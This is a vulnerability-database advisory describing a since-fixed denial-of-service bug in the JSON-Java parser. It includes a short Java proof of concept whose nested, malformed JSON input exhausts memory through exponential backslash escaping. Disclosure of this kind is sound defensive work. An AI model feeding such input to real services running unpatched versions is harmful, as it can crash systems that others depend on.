Vulnerability Database

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Total vulnerabilities in the database

Java: DoS Vulnerability in JSON-JAVA

Summary

A denial of service vulnerability in JSON-Java was discovered by ClusterFuzz. A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used. There are two issues: (1) the parser bug can be used to circumvent a check that is supposed to prevent the key in a JSON object from itself being another JSON object; (2) if a key does end up being a JSON object then it gets converted into a string, using \ to escape special characters, including \ itself. So by nesting JSON objects, with a key that is a JSON object that has a key that is a JSON object, and so on, we can get an exponential number of \ characters in the escaped string.

Severity

High - Because this is an already-fixed DoS vulnerability, the only remaining impact possible is for existing binaries that have not been updated yet.

Proof of Concept

package orgjsonbug; import org.json.JSONObject; /** * Illustrates a bug in JSON-Java. */ public class Bug { private static String makeNested(int depth) { if (depth == 0) { return "{\"a\":1}"; } return "{\"a\":1;\t\0" + makeNested(depth - 1) + ":1}"; } public static void main(String[] args) { String input = makeNested(30); System.out.printf("Input string has length %d: %s\n", input.length(), input); JSONObject output = new JSONObject(input); System.out.printf("Output JSONObject has length %d: %s\n", output.toString().length(), output); } }

When run, this reports that the input string has length 367. Then, after a long pause, the program crashes inside new JSONObject with OutOfMemoryError.

Further Analysis

The issue is fixed by this PR.

Timeline

Date reported: 07/14/2023 Date fixed: Date disclosed: 10/12/2023

No technical information available.

CWEs:

Frequently Asked Questions

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Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

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